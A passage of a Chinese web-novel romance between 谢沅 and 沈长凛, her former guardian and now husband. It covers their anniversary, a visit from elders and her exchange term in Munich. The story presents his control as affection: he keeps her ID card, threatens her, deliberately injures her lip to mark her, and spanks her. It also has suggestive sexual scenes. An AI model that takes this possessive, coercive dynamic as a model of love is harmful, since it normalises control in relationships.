十二月中旬时,谢沅在学校的事情差不多结束,她搬回到家里,每天都在很认真地练习口语。
她很早就开始学德语,B2也早先就通过了。
但沈长凛还是给谢沅请了个老师。
孩子第一次出远门,还一去就是一年,当然要做尽可能足的准备。
时光如流水而过。
一转眼两个人的生日也要近了。
谢沅和沈长凛的生日非常巧,他在十二月二十七,她在十二月二十八。
两人每年都是一起过生日的。
谢沅读大一的时候,住在学校里。
她很努力地做兼职,给教务处那边做学生助理,还参加各种活动,辛辛苦苦一学期,才攒了些钱给沈长凛买生日礼物。
谢沅花自己的钱送给沈长凛的第一份礼物是钢笔。
可惜的是,到最后她也没攒够钱,买更高雅的深蓝色。
于是那支色泽瑰丽的钢笔,就成为了他办公室里最浓丽的存在。
谢沅原本还在纠结,今年要给沈长凛送什么,就得到消息,秦老先生和江夫人到时都要过来。
她闻讯后,就想找个地方躲起来。
谢沅现在性子越来越开朗了,可还是怕见人。
沈长凛笑得不行,将她从薄被里面抱出来,轻声说道:“你马上就要去德国了,今年的春节都没法和我们一起过。”
他声音温和:“他们很想你,才来看看你的。”
谢沅却更慌乱了。
“我什么都没有准备,”她的眼眸都要湿润,“你又不提前告诉我。”
沈长凛将谢沅抱在怀里,轻柔地抚着她的薄背:“见外公外婆要什么准备?而且我也是才知道的。”
秦老先生和江夫人早就分居离婚多年。
两人分开得很体面。
毕竟观念上的不合,是真的没有办法。
可这些年来,除却沈夫人当初的事外,两人的确再没什么交集。
这次秦老先生和江夫人一起来看谢沅,还是自当初沈夫人的事后,第一次共同露面。
要论疼孩子,他们一点都不必沈长凛少。
这可能就是隔代亲。
但谢沅还是烦心了好久,沈长凛怎么哄她都没用,直到装饰圣诞树那天,她才渐渐平复下来。
小孩子坐在高高的梯子上,拿着小灯笼往最高处挂。
她最近学口语非常认真努力,沈长凛陪着她一起学了很久。
两人用德语交谈。
用另一种语言对话,再说某些话时,会不再那般羞耻。
谢沅的神情有些丧气,她一边挂小灯笼,一边低声说道:“这次真的要去好久,叔叔,我会想外公他们的。”
她说华文很好听,说德语也很好听。
沈长凛站在圣诞树下,穿着绸质缎面的法式衬衫,单手插在西裤口袋里。
他含着淡笑,轻声说道:“他们也会很想你的。”
距离谢沅出发的时间近了,沈长凛渐渐适应,倒是谢沅开始有了离愁别绪。
“我应该见他们的,”她坐在高处,“不然是不是好不礼貌?”
谢沅总是很乖,也总是很为旁人着想。
连苦恼的事情,同样会找理由让自己接受。
沈长凛都听得要生怜意了,便听到谢沅忽然换了华文:“不对诶,叔叔,我到那边以后,见外祖母好像更方便了。”
她高兴起来,柔声说道:“她之前就请我假期过去玩。”
沈长凛的容色冷下来,把谢沅从高处抱下来,不轻不重地打了下她的臀肉:“想都别想,假期立刻回国,一天都不许在外面多待。”
谢沅吃痛,眼泪汪汪地接受他的霸王条款。
圣诞节到来得很快。
远在海外的沈宴白等人却忙得人仰马翻,一众人愣是连发个消息的空闲都腾不出来,更不要说是回国了。
沈长凛没有多管,只是派了人过去。
谢沅一大早起来,沈长凛便俯身吻她:“一周年快乐,沅沅。”
她懵然了片刻,然后想起距离他们的第一个夜晚,刚刚好是一整年的时光。
谢沅勾住沈长凛的脖颈,也亲了亲他的脸庞:“一周年快乐,叔叔。”
去年的这天清早,她整个人都陷入了绝望和恐惧中,沈长凛很温柔地安慰她,她的眼泪也止不住。
那时候的谢沅是绝对想不到的。
有朝一日,她真的会和他在一起,并成为要共度余生的伴侣。
回望过去时,会有一种在梦里般的恍惚感。
可沈长凛下一瞬就把谢沅抱了起来,他轻声说道:“抱歉,昨晚让你睡太迟了,饿不饿,沅沅?”
骤然凌空的感觉,立刻将谢沅拉回到现实里。
她环住沈长凛的脖颈,小腿轻轻晃着,声音柔软:“饿了,叔叔。”
谢沅已经是很大的孩子了,但每年圣诞节和新年,沈长凛都还会给她准备礼物,再加上今年又是他们的一周年纪念日。
她有些好奇,沈长凛今年会准备什么。
还没有下楼,谢沅就闻到了馥郁的芬芳,但抬眸望去的时候,她还是有一瞬的震撼。
那是一整面墙的玫瑰花。
秀色秾丽,鲜妍娇美。
谢沅掩住唇,还是发出了惊呼声,沈长凛俯身低吻了下她的额头:“喜欢吗,沅沅?”
家里的温度很适宜,可这些花还是太新鲜了。
就像是还带着露水时,便被摘下,然后空运过来的。
谢沅还在沈长凛的怀里,她的眼眸微湿:“喜欢,叔叔。”
但更令谢沅震撼的是餐桌上的那碟黑森林小蛋糕。
她喜欢吃甜品,尤其喜欢草莓、樱桃制成的蛋糕,阿姨最拿手的就是车厘子小蛋糕。
但这碟黑森林蛋糕是不一样的。
谢沅跟沈宴白不同。
他虽然出身尊贵,可在吃食上几乎可以说没有任何讲究,除却对粤菜有些偏爱外,便没有任何要求,非常的好养活。
谢沅的舌头是有些敏感的。
她吃出这不是阿姨做的,做法不太一样,制作甜点的人也有些生疏。
但这个人在小蛋糕里用了好多爱心元素。
连餐叉都被换成了爱心形状的。
谢沅怔怔地看向沈长凛,几乎是有些难以置信:“叔叔,这是您亲自做的吗?”
他的眼眸微抬,略微带着讶异:“是不太好吃吗?你怎么猜出来的?”
沈长凛是何等不染人间烟火的人。
他位高权重,矜贵淡漠,是再高高在上不过的人了。
可是这样的人,却为她亲手做了小蛋糕。
沈长凛十指不沾阳春水,谢沅都能想象得到,他是费了多少心神,才将小蛋糕做出来的。
那些花不是沈长凛这次的礼物,这个小蛋糕才是。
他真的很爱她。
他特别特别爱她。
谢沅的眼眸湿润,她摇着头说道:“很好吃,叔叔,特别特别好吃。”
沈长凛轻笑一声,温柔地抚了抚她的脸庞:“好吃就行。”-
过完圣诞节就到了两个人的生日。
秦老先生和江夫人是同一天到的。
二十七号的上午十点,两位离婚多年的长辈同时踏进了沈家的大门。
秦老先生儒雅依旧,他特意染了头发,看起来温文年轻。
江夫人的装束也非常优雅,进门后她摘掉礼帽,直接抱住了谢沅:“好久不见,沅沅,外祖母可想你了。”
谢沅原本是有些紧张的。
但被江夫人抱住后,她反倒没那么紧张了。
谢沅脸庞透着薄粉,声音细柔:“好久不见,外祖母,我和叔叔……和长凛也很想您。”
在沈长凛连夜的教导下,她唤老公都唤得自然起来。
但唤他“长凛”时,总还会稍有别扭。
谢沅的粉腮泛起红来,羞意横生,沈长凛轻轻地揽过她的肩头,笑着说道:“沅沅好久之前,就开始念着你们。”
上次见面时,他们还是叔侄。
这一次就是夫妻了。
沈长凛的父母都早逝,谢沅的父母也差不多。
一直以来都是沈长凛给谢沅做家长,连她的嫁妆都是他给准备的。
他们没有见家长的环节,这一次的见面其实也就差不多了。
秦老先生之前知晓沈长凛疑似强掠谢沅时,气得不轻,后来知道江夫人早知道此事,向来儒雅温和的人,更加生气。
谢沅也不知道沈长凛怎么说的。
总之最后秦老先生还是接受了他们的事。
事实上,沈长凛给出来的理由非常简单。
秦老先生很疼谢沅,原本还担忧她嫁出去以后会受委屈,但沈长凛娶了谢沅后,是再也不会让她受分毫委屈的。
老人家随时都能拨电话,想来看也很简单。
而且谢沅嫁给任何一家权贵,往后暑假再去瀛洲都麻烦。
可是沈长凛娶了谢沅后,这一切只会更方便、更简单。
众人都将谢沅当家里的孩子疼,这下才好呢,以后就真的成一家人了。
李秘书知晓后也很高兴,拍手说道:“原来是沈总呀,那您可千万别担心,他多疼沅沅,您还不知道吗?他怎么可能舍得强掠沅沅呢?”
秦老先生最后被成功说服。
但此刻见到谢沅带着羞赧的笑容,他的心才彻底落了下来。
谢沅一月多就要去德国,新年都没法在家里过,所以秦老先生和江夫人才会赶在两人生日这关口,过来看看他们。
江夫人抚着谢沅的脸庞,爱怜地说道:“沅沅都瘦了。”
谢沅很崇敬外祖母,看向她时眼眸里总亮着星星。
“最近事情有点多,外祖母。”她不好意思地说道,“我以后会好好吃饭的。”
家里祖辈的人都故去得早,谢沅连一位祖辈的亲长都没见过,她向往外祖母得很,像个小尾巴似的跟在江夫人的身边。
沈长凛倚在露台边看她,脸上一直带着笑。
秦老先生的话,他都没听得进去。
“等沅沅回国,我们就办婚礼。”沈长凛轻声说道,“不过有些事呢,还要辛苦您帮忙遮掩一下。”
不管他有没有强掠谢沅。
两人曾经做过叔侄的事,都是事实。
谢沅和秦承月的那道婚约,也带着些麻烦的意味。
秦老先生怕的就是谢沅不情愿,被沈长凛逼迫方才跟他在一起。
眼下见到两人美满,早就没什么脾气了。
沈长凛的性子冷淡漠然,骨子里带着一种难以言说的独,如果没有谢沅出现,他可能真的会孤身一辈子。
他不像老一辈的人,有必须结婚的理由。
沈三公子少年时就断情绝爱,对此间事没一点念头。
二十七八的年纪了,愣是连个女伴都未曾有过。
秦老先生和江夫人嘴上不说,但暗里也是担忧过的,哪想到沈长凛一转眼,就直接领回家了个小妻子。
不管怎么说,做长辈的还是乐意看见后辈幸福的。
秦老先生点头答应,虽然时代变了,但女孩子的声名还是很重要。
而且谢沅那么好的一个孩子,没有任何理由要遭到流言和风声的谮诬。
可到临走的那天,秦老先生总还是觉得沈长凛用了手段,但沈长凛到底做了什么,连他也说不清楚。
李秘书却完全信了沈长凛。
“不瞒您说,我之前就觉得沈总和沅沅特别般配,”他弯起眼说道,“就是不敢告诉您。”
李秘书笑着说道:“沈总对大小姐是真疼啊,昨天晚上太晚了,沅沅在楼下沙发快睡着了,沈总亲自抱她上楼的,半点没将人闹醒。”
秦老先生当然看得见。
沈长凛喜欢冷色调的东西,可如今沈家的装潢却越来越妍丽。
那一整面的花墙,就是再冷情的人见了,都会为之触动。
有长辈在,沈长凛顾忌少许,但两人在家的时候,照他那抱孩子熟稔的姿态,应当是让谢沅脚都不沾地的。
罢了。罢了。
到底还有他在呢,沈长凛就算想要如何,谢沅总还能找到他。
秦老先生最终是放下忧虑,没有再多言什么。
送走两位长辈后,沈长凛将谢沅抱到长沙发上,轻柔地吻她:“多谢沅沅帮我。”
知子莫如父,知孙莫如祖。
可谢沅还是觉得不可思议,秦老先生为什么会怀疑亲外孙呢?
沈长凛很轻地笑了一下,他吻了吻谢沅的脸庞:“因为外公非常地爱你。”
因为爱,所以才会害怕她受到伤害。
他们都没有一个圆满健全的家庭,可两个人组成新的家庭后,一切都变得完满起来了-
一月十号,谢沅考完大学生涯中的最后两门考试。
临近她前往德国也只余下几天的时间了。
谢沅这些天一直在看书,她修过德国史的课,但那是在刚上大一的时候,现在早就忘完了。
为了能更好地适应那边的生活,她乖乖地又把书掏出来开看。
谢沅从查理曼加冕一路看到神圣罗马帝国的终结,看到最后,全然都要沉浸下去。
她阖上书本,眼眸亮亮的:“我到时候能去别的城市旅游吗,叔叔?”
欧洲跟国内不太一样,很多建筑都有保留,那是真正的千年古迹。
古老的教堂和城堡,承载的是历史的厚重。
“可以,如果你课业不繁忙的话。”沈长凛轻声说道,“但是不可以自己出门,要让人跟你一起。”
他答应得松快,不是因为多哄着谢沅。
只是因为他清楚德国的书有多难读。
谢沅从来不说,但在学业方面她是有些要强的,不然这个柔弱的小姑娘,也不会能门门满绩了。
即便是她,应当也很难抽得出空闲,到处去游玩。
她听到后却很高兴,投怀送抱,软声说道:“谢谢叔叔。”
其实谢沅在家,沈长凛每日也有很多事情要忙,要事堆在一起的时候,早出晚归,见她一面都难。
在接受孩子要离开这件事后,他的情绪平复许多。
谢沅日日都戴着那枚戒指,沈长凛就更加心安了,他们现在已经不是寻常的爱侣,而是法律意义上的夫妻了。
他家里的这个孩子,天真单纯,道德感又极重,是不可能会被别的男人引诱走的。
而敢跟他抢人的,他还没有见过。
沈长凛眸色深暗,潜藏着少许的阴狠。
他边慢条斯理地想着,边将谢沅往怀里搂得更紧些,她之前期末课业重,又要忙出国的事,他没忍心动她。
但现在事情都忙完了,往后多日都不能相见。
他提前讨要些利息,也不为过吧?
沈长凛攥着谢沅的腰身,把她的裙摆推高,修长精致的指节向下,抵在她白皙柔软的腿根,轻将那柔膝往外掰。
细软的纤腰,白得近乎晃眼。
他声音微哑:“你饿不饿,沅沅?”
第69章 “不认得老公了吗?”
谢沅被迫过了段夜夜笙歌的日子。
先前每次要出远门时,沈长凛总会格外……一些,这次她要出国读书,分别的时间格外长,夜夜笙歌的日子也变得极其漫长。
临近年关,事情本来就少。
沈长凛把不必要的事情全都往后推,只余下一些要紧事,晚上开个短会就能解决掉。
这就苦了谢沅。
她从早到晚都没从沈长凛的视野里离开过,唯有洗澡时能稍微喘口气。
偶尔洗澡时也不行。
卧室里光线昏暗,只有壁灯依然亮着。
谢沅分不清白天黑夜,整个人都昏昏沉沉的,要不是腕间和踝间没有锁链,她都要怀疑沈长凛是不是想把她囚禁在家里。
他闻言却是低笑一声:“沅沅要是想玩,也可以。”
谢沅在他的怀里挣动,摇着头说道:“不可以。”
沈长凛在这方面手段狠,花样多,她一点都玩不过他,气极了也只能红着脸说道:“你再这样,我就离家出走。”
谢沅的身份证不在自己手里。
她也幻想过,离家出走住酒店的事。
但沈长凛在很早之前,就把谢沅这个幻想的苗头给浇灭了。
直到前不久他把那套大平层过户给她,她离家出走的幻想又燃起来了。
沈长凛掐着她的下颌,眉眼温柔,但声音里却全是威胁的意味:“你可以试试,谢沅。”
谢沅没有办法,只能掰着手指算日子。
反正她马上就要离开了,沈长凛就是再想要如何也不行。
但临到出发前的最后一晚,他还没放过她。
谢沅对于出行的事,原本是有些焦虑的,还有些难过,愣生生是被沈长凛折腾得忘却情绪,只想赶快就走。
她低声呜咽着,想要推开他:“明天还要早起,叔叔……”
谢沅的手抵在沈长凛的身前,但这样的一个姿势,却令他更轻易地将她按在怀里。
唇珠被咬破的刹那,她疼得瞬时就哭出来了。
什么离愁别绪,全都消退了个一干二净。
谢沅又羞赧又气恼,脸庞红着骂沈长凛:“你……你混账,沈长凛!”
她都不会说脏话,这还是第一回这样讲人。
沈长凛之前也做过这样的事,但之前总归是意外、不小心,今次却是蓄意为之。
他微微俯身,柔声说道:“抱歉,沅沅,叔叔不是故意的。”
沈长凛一边跟谢沅道歉,一边取来药膏给她上药,但那张俊美矜贵的脸上,哪里有一分的歉然?
上药之前,他俯身低吻了下她嫣红肿起的唇珠。
被咬破皮的唇珠柔软娇嫩,经不起分毫的触碰。
谢沅挣扎着,几乎想将沈长凛从床上踹下去,但他却扣着她伶仃纤细的足腕,将人往怀里拽得更紧。
“别哭,沅沅。”他声音微哑,“上过药后就不疼了。”
沈长凛这样说,谢沅还是哭得很凶,她打开他的手时,他也很好脾气地接受。
他的手背苍白,小姑娘又是用尽气力,接连两三下上来,泛起了不轻不重的红痕。
沈长凛神情温柔,将谢沅抱在怀里,轻声细语地哄她:“抱歉,沅沅,叔叔真的知道错了。”
上过药后,痛意逐渐消退。
但谢沅还是气不过,她也咬了沈长凛的指节一下,他帮着她使力,在那修长精致的中指上留下一道血痕。
真的见血,她瞬时就慌了,急忙要拿止血贴。
沈长凛却轻轻地笑了。
“叔叔不疼,沅沅。”他温柔地说道,“你现在还气不气?”
谢沅要不知道怎么讲沈长凛了,她红着脸庞,羞得欲死:“你太过分了。”
他眼中尽是怜意,将她轻轻地抱在怀里疼。
“是,是。”沈长凛柔声说道,“是叔叔太过分了,沅沅大人有大量,不生叔叔气了,好不好?”
谢沅困困的,沐浴回来后更没劲挣动。
她抓着沈长凛的手指,又捏了捏他的指骨泄愤,然后就昏昏地睡了过去。
谢沅睡过去很久,沈长凛还是清醒的,他抚着谢沅的脸庞,将她睡乱的发丝理好,然后把人拥在怀里,轻叹着吻她的额头和脸颊。
第一回送孩子出远门。
不留些重一点的痕印怎么能让她记着他呢?
现在谢沅疼了哭了,还气得不行,可这也意味着,接下来好久她都会记得这件事记得他。
沈长凛神情有多温柔,那双浅色的眼眸就有多深暗。
谢沅被他折腾坏了,翌日快要起不来床,她的眼皮不停地往下落,全靠沈长凛,才很勉强地穿好衣服、洗漱完毕。
如果不是他逼着,她连早餐都不想吃。
沈长凛喂谢沅吃了三明治,然后又哄着她喝了半杯牛奶,她就再也不想动。
将人抱上车后,她更是开始呼呼大睡。
到机场时,谢沅才揉着眼眸起来。
都是因为沈长凛,她现在一点要出远门的感觉都没有了。
到候机的贵宾室时,谢沅才乍然想起难过,但清醒过来后,唇珠的疼痛又起来了,他给她上过药,也仔细地检查过。
可谢沅还是疼得厉害。
她的水眸湿着,窝在沈长凛的怀里,来回地掰着他的手指。
他温柔地揽着她,轻声说道:“要记得常跟我发消息、打电话,听到没有?有时间的话,我也会常去看你的。”
谢沅还疼着,听到沈长凛的话更加难过。
眼泪扑簌簌地往下掉。
但是因为在外面,她很不好意思,将脸庞埋在他的肩窝里,没有声响地掉着泪珠子。
沈长凛自幼就长在外面,跟亲生父母的接触不多,也不是被娇惯着长大的。
他的分离焦虑先前一直不重,都是因为谢沅,才渐渐地生出这种情绪。
但沈长凛也听说过的。
很多年轻的孩子,到读大学的时候,每学期想到要离家,还会哭个不停。
沈长凛见不得谢沅在床上以外的地方哭。
那个念头又生出来了。
要不他陪着谢沅一起过去算了,反正近来也没什么事。
可谢沅哭够以后就不哭了,她安静地待在沈长凛的怀里,声音细细的,弱弱的:“你、你说会来看我的,不可以食言。”
她很柔弱,也很坚强。
沈长凛轻声说道:“我不会食言的,沅沅。”
云卷云舒,日光高耀。
登机前他最后一次轻吻了吻谢沅的脸庞,柔声说道:“一路顺利,沅沅。”-
谢沅一整路都是睡过去的。
落地的时候,是当地时间的下午四点,她睡得饱饱地下机,连时差都不用倒了。
慕尼黑在德国的南部,但冬天还是要比燕城冷。
天空灰蒙蒙的,像是雪时将近。
到底是第一次出远门。
虽然一路过来有些累,却还算是顺利,谢沅的心情很好,她长长地舒了一口气,下机就给沈长凛发了消息,他这时候还在忙,没有立刻回她的消息。
沈长凛本来还想让人送她。
谢沅百般拒绝,才推拒掉,但他还是安排了专人来接她。
不仅如此,温思瑜也千里迢迢地飞过来接她了。
温思瑜不会德语,还叫了一个翻译跟着,大小姐的气度仍然是那样盛,她戴着墨镜站在人群中,是那么的亮眼。
谢沅恍惚了一下,方才反应过来。
她推着行李箱,小跑着扑到温思瑜的怀里:“思瑜姐姐!”
温思瑜紧搂住谢沅,两人多时不见,她走时又是那样匆忙,跟避难一样。
乍然见到故人,温思瑜的眼圈也有些红。
“舅舅怎么放心你一个人过来?”她接过谢沅的行李箱,“饿不饿,渴不渴,沅沅?”
温思瑜很疼谢沅,一边问询,一边将备好的热饮递给她。
来接谢沅的人连话都没能插上,只能和温思瑜带来的翻译一起跟在后面笑。
谢沅话都没来得及回,吸管就到了唇边。
她咬住吸管,喘口气后继续说道:“我没事,思瑜姐姐,我有吃飞机餐。”
温思瑜破釜沉舟的事,在燕城掀起了轩然大波。
都说沈蓉疼女儿,但如果没有这桩事,谢沅也没有机会了解温家豪奢商业帝国背后的脏污。
温思瑜还是皱着眉,掰过谢沅的脸庞:“你黑眼圈怎么这么重?是这两天没睡好吗?”
谢沅的下颌被她掐着,被迫抬起了眼眸。
她错开温思瑜的视线,捧着热饮低咳一声:“嗯……,最近事情比较多,思瑜姐姐。”
故人相见,总归是令人高兴的。
谢沅岔开话题,她疑惑地问道:“思瑜姐姐,承月哥没跟你一起来吗?”
不得不说,沈长凛对他们两个还是很好的。
秦承月脱离秦家不是大事,秦老先生对他很好,沈长凛对他也不错,秦家养大了他,这些年他给秦家的回报也已足够。
但温思瑜脱离温家就很难办。
直到现在,沈蓉还发疯般地想将温思瑜强抓回去。
温先生没有办法,最终将她暂时送到了疗养院,但温思瑜的悖逆这样强烈,温先生心底肯定也有强烈的怒意,连带秦承月,也逃不掉他的报复。
毕竟离开秦家后,秦承月什么也不是。
这个时候,能够护佑住他们的只有沈长凛。
他直接将两人送到海外,远隔重洋,就算温家想要做些什么也难,而且有他发话,旁人也不敢怎样。
背靠沈家,秦承月和温思瑜也不至于过得太沦落。
谢沅知悉后都忍不住拍手,叔叔真的是太会想了。
“他跟你哥哥最近都很忙,”温思瑜笑了一下,“他本来想一起来看你的,但突然又有事情缠身。”
她摸了摸谢沅的头,轻声说道:“不过你别担心,等复活节我们都过来。”
温思瑜如今不比以往。
她的气势还是那样强,却到底不是温家的大小姐了。
但谢沅却觉得温思瑜更快乐、更放松了。
她们一起走出机场,外面有车来接,四点多的天空略显阴沉,远处是青绿色的群山。
谢沅一边和温思瑜聊天,一边又给沈长凛拍照片。
她没有早恋过,做过最出格的事,也就是悄悄将沈宴白放在心里许多年。
但现在和沈长凛在一起后,谢沅才明白过来爱情到底是什么滋味,也明白过来为什么秦承月和温思瑜会分分合合,又最终为彼此放弃一切。
谢沅还让温思瑜帮她拍了照片。
她脸上的笑意浅浅的,可温思瑜还是看出来了。
温思瑜挑眉,将手机递给她,舒展着眉头问道:“前段时间听人说你恋爱了,和哪家的小子呀?”
之前谢沅发的消息很突然,圈子里没有任何声响。
沈长凛也很快就让人压了下来。
温思瑜也是后来听燕城的朋友说,方才知道的。
“没、没有,思瑜姐姐,”谢沅磕绊地说道,“上一次是我发错消息了。”
温思瑜原本还不敢太确定,沈长凛管谢沅多严,她们亲近的都知道,但看谢沅这幅神情,温思瑜反倒是确定了。
那个和她恋爱的人一定很好。
不然沈长凛是不可能同意的。
那个男人也一定很爱谢沅,才会让她落下心防,露出这样的笑容。
虽然知道谢沅一直都对秦承月没有感情,甚至还有些微妙的避让,但温思瑜和秦承月仍是对她怀着歉疚。
尤其是在她那样帮着他们过后。
知她如今幸福,他们心里的石头也落下了。
温思瑜挑着眉头,笑着说道:“好,好,是沅沅发错了。”
谢沅听出温思瑜的揶揄,轻轻将脸别了过去,但上车后温思瑜又把她的小脸掰了过来。
她的粉腮被捏着,微微透红。
谢沅在心里忍不住地想,温思瑜和沈长凛不愧是亲舅甥,连捏人脸的方式都是一样的。
温思瑜的容色明艳张扬,带着调侃的笑意。
“还是跟我说说吧,嗯?”她温声说道,“让姐姐也帮你把把关,省得到时候人不靠谱,你叔叔又要罚你。”
谢沅的脸庞更红了。
她细声说道:“你到时候就知道了,思瑜姐姐。”
不过谢沅也有些苦恼,嫁给沈长凛以后,他们之间的辈分全都乱了。
她比温思瑜还小,以后难道要温思瑜叫她舅妈吗?
外面是凛冽的寒风,车里却很温暖。
温思瑜调笑着逗弄谢沅,在车辆穿过隧道时,容色却有一个瞬间的微暗。
谢沅有了相爱的人,她应当为谢沅感到高兴的,可心底总有别样的声音在作祟,等谢沅从沈家嫁出去后,她们便是两家人了。
如果谢沅被人欺负怎么办?
温思瑜不愿多想,沈长凛肯定是不会让谢沅受委屈的。
但只要一想到那种可能,她心底就会难以受控地涌现出黑暗的念头。
温思瑜压抑着情绪,将谢沅揽到怀里,带着些郑重意味地说道:“你嫁给别人以后,也要常跟姐姐通电话,听到了没有?”
谢沅弯起眉眼,笑着点头:“嗯!”
如果知道她嫁给叔叔的话,思瑜姐姐应该会高兴的吧?-
温思瑜之前在温家只有虚名,没有实权。
她是温氏集团的长公主,却不能插手任何事宜,温怀瑾没回国时,就是如此。
温家对温思瑜的要求和希冀,就是一个漂亮的花瓶,昭示温家的对外形象,这就足矣,至于除了长公主这个身份外其他的给予,那是丝毫没有的。
甚至连沈蓉也是这样认为的。
她要利用温思瑜的婚事,来做与温怀瑾缓和关系的投诚赠礼。
不过现在不一样了。
沈家从来不养闲人,将温思瑜和秦承月送到海外后,温思瑜也要开始做事。
这回能过来短暂陪谢沅,也全是秦承月在背后忙碌到昏天黑地的结果。
但对于这样的生活,温思瑜并不排斥。
天越来越冷,距离开学日也越来越近,送走温思瑜的那天,慕尼黑开始下雪。
谢沅坐在楼下的咖啡店里,一边吃着黑森林蛋糕,一边和沈长凛讲电话:“马上就要开学了,叔叔。”
她围着红色的围巾,柔美的面容显得愈加皎白。
眉眼精致,粉腮樱唇,跟个雪塑玉琢的瓷娃娃似的。
咖啡店的氛围很好,有乐队在演奏,乐声很悠扬悦耳,室内温暖如春,外面是扑簌簌的落雪,远远地能够看见层叠的群山。
沈长凛那边已经是晚上。
他脸上带着淡笑,轻声说道:“祝我们沅沅开学顺利。”
谢沅这一次没有像去瀛洲那样没心没肺,她很想沈长凛,每天也都有乖乖跟他发消息。
她弯起眉眼,软声说道:“也祝叔叔工作顺利。”
沈长凛专门安排了人陪着谢沅,但她在这边适应得还算快。
之前苦学的德语和历史都是有意义的。
一起交换的同学都过来后,谢沅在慕尼黑做了个短途的旅游。
阴郁华丽的哥特式建筑直入云霄,内部又有着漂亮的彩色玻璃,哲学和宗教学总是被放在一起,在很多学校也是一个院系的。
跟谢沅一起的有个宗教学的男同学。
比谢沅低一届,斯文温雅,虽然带着些矜傲之气,但人很好,在旅行的时候跟导游一样尽心地给大家做介绍。
谢沅性子慢热,一起过来的同学也都互不认识。
或许是同在异国的缘由,众人熟络起来得反倒很快。
谢沅跟沈长凛招了招手,笑着说道:“我的同学们过来了,叔叔,我们晚点再聊吧。”
沈长凛轻轻点了点头,柔声说道:“好,快过去吧。”
她能跟同学们玩得好,他是高兴的。
孩子毕竟是难得出一回远门,当然是结识越多朋友,玩得越开心越好。
挂断电话后,谢沅就捧着热饮去见同学们,她喝不惯苦的,到咖啡店也只点香香甜甜的热可可。
明丞走在最前面,轻声问道:“跟男友通电话呢?”
他就是那个宗教学的同学。
是宁城人,小学也是在宁大附小读的,从某种层面上看,应该算是谢沅的嫡系师弟。
谢沅从高脚椅上跳下来,红色的围巾把她的脸庞也映衬得微红。
她摇了摇头,柔声说道:“跟我叔叔在讲电话。”
谢沅声音柔软,模样也柔软,人更是再好相处不过,一起的同学们都很喜欢她。
明丞为人矜傲,跟秦承月有些像,只有他在面对谢沅时,略微有些冷淡。
谢沅很迟钝,愣是没有注意到。
一晃就到了开学的日子。
德国的学很难读,两周过后,谢沅真是深刻地意识到这一点。
选课的时候很自由,这边的课业不会像国内那样,有着明确的要求,但读起来的时候,却吃力太多。
谢沅学德语很早,而且有专门的老师来教,在语言方面的压力已经小很多。
可到快新年的时候,她还是累得不轻。
国内的二月已经快到新春了。
谢沅在这边却还要一堆课和一堆作业,她除了数学,成绩一直很好。
第一次作业得C的时候,她的眼泪都要掉下来了,沈长凛看她哭时,没有忍住笑出声,被谢沅生气了好多天。
他很努力才将人哄好。
开学大半个月,谢沅已经要累坏了。
她很庆幸开学前短暂旅游了一段,现在别说去别的城市,就是去附近的教堂逛逛都难。
谢沅的眼眸红红的,她看着视频里在温柔剪花枝的沈长凛,便更加难受了。
她不在家,公事也处理得差不多,他要操心的事就更少了。
最近沈长凛很有空,偶尔也有时间陪着谢沅视频做作业。
他轻声问道:“怎么哭了?是想我了吗?”
沈长凛本意是逗弄谢沅,却不想原本就红着眼眶的小孩子,竟然真的哭了,她带着哭腔说道:“想你了。”
她作业也做不动了,眼泪断线似的掉下来。
到底是第一次出远门。
沈长凛薄唇微抿,指节轻抚了抚屏幕中谢沅的脸庞,柔声说道:“不哭了,沅沅,过几天叔叔就去看你。”
大过年的,怎么好让孩子孤零零地在异乡待着?
谢沅揉了揉眼眸,声音细弱:“不用,叔叔,我就是……就是想你了。”
她好像不明白这样的话意味着什么。
沈长凛将花枝放在一旁,轻轻落眸看向谢沅:“可是叔叔也很想你。”
他的那双眼眸清浅漂亮,盛着浅色的光芒,被他注视着时,谢沅每每都要很努力,才能不让自己陷进去。
她摇了摇头,抬眸说道:“真的不用,叔叔,我才刚来这边。”
新年的时候公事的确是少了,但是各种应酬宴席却更多了。
沈长凛不太喜欢应酬,更不喜欢让人来家里,可在这时候家里的待客厅,总归是要被派上用场的。
他神情温和,轻声说道:“好,都听沅沅的。”
沈长凛很好脾气地应下了,谢沅却莫名地有些失落。
她反思自己,怎么越来越娇气了?
新年的时候叔叔明明就会很忙的,她不应该给他添麻烦才对。
时间过得很快。
国内除夕夜的这天,谢沅那个拿了C级作业的课程,已经能够拿到A了。
虽然还不是她想要的A+。
那个叫明丞的学弟虽然看着傲慢冷淡,但人却意外地不错,哲学和宗教学的一些课程有交叉,他从不多说,却帮了谢沅许多。
几人一起从图书馆走出来时,已经快要八点。
天边突然开始落雪。
他们很幸运,今天晚上都没课,约好要一起去看春晚,但被课业耽误很久,到现在才从图书馆出来。
谢沅只在父亲谢知在时有守岁的习惯。
后来就再也没有了。
春晚她也好多年没有看过,因此是有些期待的。
谢沅去公寓里放东西,她戴着围巾,将书册抱在怀里,匆匆地淋雪走进公寓。
公寓里很黑,她把书册放在一边,正想要按灯时,忽然被人一把抱起,按在了门上亲。
谢沅惊呼一声,她怕得厉害,不停地挣动着。
男人轻打了一下她的肉臀,声音低柔:“不认得老公了吗?”
谢沅的脸庞瞬时就红了,她的眼眸也红红的:“你、你不是说不来了吗?”
沈长凛轻笑出声,低吻谢沅的樱唇,带着些公子哥般的散漫:“说说而已,我哪敢真不来呀?”
他正低声说着,房门忽然被人从外间敲响。
是明丞。
他的口吻中带着少许的疏离,好像很冷淡客气:“你好了吗,谢沅?”
谢沅的身躯紧绷,想要示意些什么,黑暗里沈长凛却轻咬住了她的唇瓣,他的声音压得很低:“是那个叫明丞的孩子吧,他好没有礼貌,为什么不叫你学姐?”
第70章 沅沅只吃糖不吃苦。
谢沅的身躯紧绷,心弦也已然紧绷到极限。
她的额前沁着热汗,发丝都微微汗湿。
谢沅的眼眸湿润,她用气音说道:“叔叔,能不能……能不能先放我下来?”
虽然室内没有开灯,浸在一片黑暗里,但两人离得极近,沈长凛能感知到谢沅脸上的热意,他托着谢沅臀根的软肉,将她抱得更高一些。
男人的声音微哑:“要跟他走吗?”
他的指节修长有力,掌住谢沅的嫩臀时,会有柔软从指缝间溢出。
两个人许久没有亲近。
饶是谢沅这样懵懂,也要受不住沈长凛的撩拨。
她羞得厉害,声音细细的:“不跟他们走了,只跟叔叔走。”
谢沅攀上沈长凛的脖颈,乖柔地回吻他,樱唇轻轻地啄吻了一下男人冰凉的薄唇,像是莺雀般稚嫩可爱。
她主动索吻,他没有放过的道理。
